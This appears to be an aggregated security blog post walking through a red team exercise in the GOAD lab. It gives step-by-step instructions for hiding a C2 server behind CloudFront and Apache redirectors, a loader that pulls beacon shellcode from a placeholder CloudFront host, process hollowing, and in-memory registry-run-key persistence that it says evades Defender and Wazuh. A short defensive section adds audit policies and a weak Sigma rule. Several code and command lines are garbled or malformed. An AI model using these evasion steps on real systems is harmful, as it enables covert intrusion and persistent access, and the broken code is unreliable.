How Red Teams Slip Past EDR: A Stealthy Persistence Hack in Monitored Active Directory You Won’t Believe + Video

By /

Listen to this Post

Featured Image

Introduction:

In a controlled Red Team exercise against the Game of Active Directory (GOAD) lab with full Windows Defender and Wazuh EDR/XDR monitoring, attackers demonstrated how to establish covert persistence using advanced OPSEC infrastructure and in-memory evasion techniques. This exercise highlights the critical gap in detecting well-orchestrated attacks that leverage cloud services and living-off-the-land binaries to maintain access.

Learning Objectives:

  • Design an OPSEC-compliant command and control (C2) infrastructure using CloudFront and Apache redirectors to mask attacker origin.
  • Implement memory-only execution techniques like Process Hollowing to evade endpoint detection and response (EDR) tools.
  • Establish reliable persistence mechanisms through registry modifications using tools like SharPersist executed entirely in memory.

You Should Know:

  1. Architecting a Stealthy C2 Infrastructure with CloudFront and Apache
    A robust offensive infrastructure is foundational to evading detection. This setup uses AWS CloudFront as a content delivery network (CDN) to present a legitimate AWS domain, obscuring the real C2 server. An Apache redirector with SSL termination and strict OPSEC rules filters malicious traffic.

Step‑by‑step guide:

  • Step 1: Configure CloudFront Distribution. In the AWS Management Console, create a CloudFront distribution pointing to your origin server’s IP. Set the origin protocol policy to HTTPS only and restrict geographic access if needed.
  • Step 2: Set Up Apache Redirector on a VPS. Use a Linux VPS (e.g., Ubuntu 22.04) with Apache2. Enable mod_rewrite and mod_ssl. Obtain a valid SSL certificate via Let’s Encrypt using Certbot. 
    sudo apt update && sudo apt install apache2 certbot python3-certbot-apache -y
sudo certbot --apache -d yourdomain.aws.com
  • Step 3: Implement OPSEC Rules in .htaccess. Create rules to block known scanner User-Agents and suspicious request patterns. 
    RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (nikto|sqlmap|wget|curl|zgrab) [bash]
RewriteRule ^. - [F,L]
RewriteCond %{REQUEST_URI} ^/(cmd|shell|admin) [bash]
RewriteRule ^. - [F,L]
  • Step 4: Tunnel Internal Traffic. Use SSH reverse tunneling to forward internal tool hosting traffic through the redirector. 
    ssh -R 8080:localhost:80 user@redirector-ip
  1. Crafting a Custom Loader with WinHTTP and Custom Headers
    The initial loader is a compiled C++ binary that uses WinHTTP APIs with customized headers to blend in with legitimate CloudFront traffic, reducing the chance of network-based alerts.

Step‑by‑step guide:

  • Step 1: Write the Loader Code. Create a C++ program that connects to the CloudFront endpoint. Use WinHTTP for HTTPS requests. 
    include <windows.h>
include <winhttp.h>
pragma comment(lib, "winhttp.lib")</li>
</ul>

int main() {
HINTERNET hSession = WinHttpOpen(L"Custom User Agent/1.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, NULL, NULL, 0);
HINTERNET hConnect = WinHttpConnect(hSession, L"yourcloudfrontdomain.aws.com", INTERNET_DEFAULT_HTTPS_PORT, 0);
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", L"/path/to/beacon", NULL, NULL, NULL, WINHTTP_FLAG_SECURE);
WinHttpAddRequestHeaders(hRequest, L"X-Custom-Header: Value", (ULONG)-1L, WINHTTP_ADDREQ_FLAG_ADD);
WinHttpSendRequest(hRequest, NULL, 0, NULL, 0, 0, 0);
// Handle response and shellcode injection...
WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession);
return 0;
}

    – Step 2: Compile with Obfuscation. Use Microsoft Visual C++ compiler with optimization and strip debug symbols.

    cl /O2 /Fe:loader.exe loader.cpp /link /SUBSYSTEM:WINDOWS

    – Step 3: Test Connectivity. Execute the loader on a Windows test machine and monitor with Wireshark to ensure headers match expected CloudFront patterns.

    1. Executing Process Hollowing via NT APIs for Memory Evasion
      Process Hollowing involves creating a suspended process, hollowing out its memory, and replacing it with malicious code. This occurs entirely in memory, avoiding file-based detection by Defender and Wazuh.

    Step‑by‑step guide:

    • Step 1: Create Suspended Process. Use `CreateProcess` API to launch a legitimate process like `notepad.exe` in a suspended state.
    • Step 2: Allocate and Write Shellcode. Within the loader, after retrieving beacon shellcode from the C2, use `VirtualAllocEx` and `WriteProcessMemory` to write it into the suspended process.
    • Step 3: Perform Hollowing with NT APIs. Call `NtCreateSection` and `NtMapViewOfSection` to map the shellcode into the target process’s memory space. Then, resume the thread with ResumeThread. 
      // Pseudocode for key steps
HANDLE hProcess = GetTargetProcessHandle("notepad.exe");
LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, remoteMem, shellcode, shellcodeSize, NULL);
// Use NT APIs to hollow and map
ResumeThread(hThread);
    • Step 4: Verify Execution. Use tools like Process Hacker to confirm the notepad process has unexpected memory regions and network connections.

    4. Deploying SharPersist for Registry-Based Persistence

    SharPersist is a Mandiant tool for persistence via various methods. Here, it’s executed in-memory from the Beacon to add a registry run key, ensuring the payload runs on user login.

    Step‑by‑step guide:

    • Step 1: Host SharPersist on Internal Tunnel. Compile SharPersist from GitHub (https://github.com/mandiant/SharPersist) and host it on the SSH tunneled server. 
      git clone https://github.com/mandiant/SharPersist.git
cd SharPersist
dotnet publish -c Release -o published
    • Step 2: Execute In-Memory via Beacon. From the Havoc C2 console, use the `execute-assembly` command to load SharPersist directly into the compromised process’s memory, avoiding disk writes. 
      execute-assembly /path/to/SharPersist.exe -t registry -c "C:\Windows\System32\calc.exe" -a "/k add -v run -k hkcu -p software\microsoft\windows\currentversion\run -n test"
    • Step 3: Confirm Registry Entry. On the target Windows machine, check the registry key. 
      reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v test

    5. Validating Persistence and Beacon Reconnection

    After a system reboot, the persistence mechanism should trigger automatically, re-establishing the C2 connection without alerting security tools.

    Step‑by‑step guide:

    • Step 1: Reboot Target Machine. Use `shutdown /r /t 0` from the Beacon or manually reboot the GOAD lab machine.
    • Step 2: Monitor Wazuh and Defender Logs. Check for any alerts related to registry modifications or network connections. In this exercise, no alerts were generated due to the OPSEC measures.
    • Step 3: Verify Beacon Restoration. Upon user login, the registry run key executes the payload, which calls back to the CloudFront infrastructure. Confirm a new Beacon session appears in the Havoc C2 console.

    6. Defensive Countermeasures and Detection Strategies

    Defenders must enhance monitoring to catch such techniques. Focus on anomalous registry changes, memory integrity, and network traffic analysis.

    Step‑by‑step guide:

    • Step 1: Enable Advanced Audit Policies. On Windows, configure audit policies via GPO or local security policy to log registry changes and process creation. 
      auditpol /set /subcategory:"Registry" /success:enable /failure:enable
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable
    • Step 2: Implement Sigma Rules for Wazuh. Create custom Sigma rules to detect Process Hollowing patterns and unusual CloudFront traffic from internal hosts. 
      title: Possible Process Hollowing via NT APIs
description: Detects usage of NtCreateSection and NtMapViewOfSection in quick succession
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 10
CallTrace: "ntdll.dll"
condition: selection
    • Step 3: Network Traffic Analysis. Use Zeek or Suricata on network sensors to flag HTTPS connections to CloudFront domains with uncommon User-Agents or header patterns.

    7. Advanced OPSEC Considerations for Red Teams

    To maintain stealth, Red Teams must continuously adapt infrastructure and techniques, such as rotating domains, using encrypted channels, and mimicking legitimate software behaviors.

    Step‑by‑step guide:

    • Step 1: Domain Rotation. Use dynamic DNS services or multiple CloudFront distributions to change endpoints frequently.
    • Step 2: Encrypt C2 Traffic. Implement AES encryption within the payload and use TLS 1.3 for all C2 communications to avoid deep packet inspection.
    • Step 3: Simulate Legitimate Software. Modify loaders to mimic headers and patterns of common software like browsers or update services, using tools like Modlishka for reverse proxying.

    What Undercode Say:

    • Key Takeaway 1: Modern EDR solutions like Wazuh and Defender can be bypassed through meticulous OPSEC infrastructure design that leverages trusted cloud services and in-memory execution, emphasizing the need for defense-in-depth strategies.
    • Key Takeaway 2: Persistence mechanisms that abuse legitimate Windows features, such as registry run keys, remain highly effective when deployed via memory-only methods, reducing forensic footprints and evading file-based detection.

    Analysis: This exercise underscores a shifting landscape where Red Teams prioritize stealth over exploitation speed. By using CloudFront and Apache redirectors, attackers blend into normal internet traffic, while Process Hollowing and tools like SharPersist exploit inherent Windows trust models. Defenders must pivot from signature-based detection to behavioral analytics, focusing on anomaly detection in memory, registry, and network flows. The integration of AI-driven threat hunting could help identify such covert activities by correlating subtle anomalies across endpoints and network sensors.

    Prediction:

    As Red Teams adopt more cloud-based masking and memory-only techniques, we anticipate a rise in fileless attacks that leverage legitimate cloud infrastructure, making attribution and detection increasingly difficult. Defensive tools will evolve to incorporate more behavioral AI and cross-domain correlation, but attackers will respond with advanced obfuscation and machine learning-driven adaptability, leading to an arms race in cyber persistence. Organizations will need to invest in continuous security training, threat intelligence sharing, and automated response capabilities to mitigate these stealthy threats effectively.

    ▶️ Related Video (74% Match):

    🎯Let’s Practice For Free:

    IT/Security Reporter URL:

    Reported By: Manuel Veas – Hackers Feeds
    Extra Hub: Undercode MoN
    Basic Verification: Pass ✅

    🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

    💬 Whatsapp | 💬 Telegram

    📢 Follow UndercodeTesting & Stay Tuned:

    𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky

Related Posts: